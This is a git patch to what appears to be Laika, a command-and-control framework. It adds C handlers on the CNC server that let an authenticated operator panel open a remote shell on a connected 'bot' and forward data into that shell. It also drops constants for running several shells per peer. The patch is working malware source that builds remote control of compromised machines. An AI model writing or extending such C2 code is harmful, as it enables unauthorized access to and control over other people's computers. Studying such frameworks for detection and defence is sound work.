From 2d8e9ed106c13d3acf6454157ee4d37680a63410 Mon Sep 17 00:00:00 2001 From: CPunch Date: Mon, 28 Feb 2022 16:39:02 -0600 Subject: [PATCH] Implemented laikaC_handleAuthenticatedShellData & laikaC_handleAuthenticatedShellOpen --- cnc/src/cpanel.c | 27 +++++++++++++++++++++++++++ lib/include/lpacket.h | 4 ---- 2 files changed, 27 insertions(+), 4 deletions(-) diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index bfd73a0..5cb7590 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -67,17 +67,44 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_ struct sLaika_cnc *cnc = aInfo->info.cnc; struct sLaika_peer *peer; + /* sanity check, make sure shell isn't already open */ + if (aInfo->shellBot) + LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Shell already open!\n"); + /* read pubkey & find peer */ laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL) LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n"); + if (peer->type != PEER_BOT) + LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n"); + + /* link shells */ aInfo->shellBot = peer; + ((struct sLaika_botInfo*)(peer->uData))->shellAuth = authPeer; /* forward the request to open a shell */ laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN); } void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { + uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH]; + struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData; + struct sLaika_cnc *cnc = aInfo->info.cnc; + struct sLaika_peer *peer; + /* sanity check, make sure shell is open */ + if ((peer = aInfo->shellBot) == NULL) + LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Not shell open!\n"); + + if (sz > LAIKA_SHELL_DATA_MAX_LENGTH) + LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n"); + + /* read data */ + laikaS_read(&authPeer->sock, data, sz); + + /* forward data to peer */ + laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); + laikaS_write(&peer->sock, data, sz); + laikaS_endVarPacket(peer); } \ No newline at end of file diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 6de3372..edfa0d8 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -11,8 +11,6 @@ #define LAIKA_HOSTNAME_LEN 64 #define LAIKA_IPV4_LEN 16 -/* max number of concurrent shells per peer */ -#define LAIKA_MAX_SHELLS 16 #define LAIKA_SHELL_DATA_MAX_LENGTH 256 /* first handshake between peer & cnc works as so: @@ -89,11 +87,9 @@ enum { LAIKAPKT_AUTHENTICATED_SHELL_OPEN_RES, /* panel requesting cnc open a shell on bot */ /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot - * uint16_t shellID; -- shell id of shell opened on bot */ LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */ /* layout of LAIKAPKT_SHELL_DATA - * uint16_t shellID; * char buf[VAR_PACKET_LENGTH]; */ LAIKAPKT_MAXNONE